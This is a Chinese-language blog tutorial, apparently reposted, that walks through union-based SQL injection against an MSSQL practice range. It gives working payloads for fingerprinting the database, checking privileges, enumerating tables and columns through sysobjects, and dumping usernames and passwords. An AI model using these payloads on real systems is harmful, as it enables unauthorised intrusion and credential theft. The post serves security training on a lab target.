当前位置:首页 > IT技术 > 数据库 > 正文

Mssql联合查询注入
2021-09-08 11:50:58

mssql数据库相关介绍:

mssql数据库:

mssql数据库是一款微软推出的数据库

 

判断是否为mssql数据库:

and exists(select * from sysobjects)--

exists是一个是否存在的判断    

sysobjects是mssql数据库自带的一张表

 

mssql数据库权限:

sa权限:数据库操作,⽂件管理,命令执⾏,注册表读取等 system

db权限:⽂件管理,数据库操作等 users-adminstrators

public权限:数据库操作 guest-users

 

mssql数据库判断权限的语句:

and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员

and 1=(select is_srvrolemember('db_owner'))//判断是否是库权限

and 1=(select is_srvrolemember('public')) //判断是否为public权限

 

调用数据库的语句:

<% set conn =server.createobject("adodb.connection") conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name" %>

provider是数据库引擎 ;uid是权限

 

在线靶场:

 

靶场使用墨者学院在线靶场

 

 

 

 

 启动靶场后,就会有对应的ip地址和端口,访问后即可进行练习

 

 

 

 进入靶场后使用检查模式,进入max hackbar

添加url地址,加上mssql数据库的判断语句,刷新

如果页面返回正常,说明使用的是mssql数据库

 

寻找字符显位

代码:id=-2 union all select null,null,null,null

每个null都是一个显位,通过依次改变null的值,来看该显位是否可以用

id=-2 与id=2需要做测试,出现下图界面时,为所需要的值

 

 

 

 将第一个显位的值改变

 

 

 

 刷新后发现,没由变化,该显位不可用

 

将第二个显位的值改变

 

 

 此时发现有了变化,证明该显位可以用

依次测试3,4显位,发现第3 显位也可以用

 

 

 测试显位时,给测试符加上单引号,不容易报错

 

测试出显位后,就可以利用显位,做一下查询

 

查询基本信息

1.@@version- 获取版本信息;

2.db_name() -数据库名字

3.user,system_user,current_user,user_name – 获取当前⽤户名

4.@@SERVERNAME – 获取有关服务器主机的信息。

 

利用显位查看版本信息和数据库名字

 

 

 

 

查询表名

利用第二个显位查询表名

id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null

xtype='u'是手工创建的数据库,不是系统自带的

mozhe_db_v2是数据库名

 

 

 

查询出第一个表表名为manage

 

 

在代码中加入and name not in ('manage') 除去第一个表,来查询第二个表表名

id=-2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null

 

 

 

以此类推在 not in ('manage')里加入第二个表名可以查出第三个表not in ('manage','announcement')

依次可以继续查询,直到查询到自己所需要的表

本次实验需要查询用户信息,所以使用manage表就可以

 

获取manage表列名

id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null

也是利用第二显位来做查询

红色的1代表查询第一列,假设要查询第二列更改为2即可

依次查询后,发现第二列第三列为username 和 password

 

 

 

查询用户名和密码

id=-2 union all select null,username, password ,null from manage

利用第二显位和第三显位查询username 和password两列的信息

 

 

 

 

 

 

 整一个sql注入完成,成功拿到用户名和密码

本文摘自 :https://www.cnblogs.com/

开通会员,享受整站包年服务立即开通 >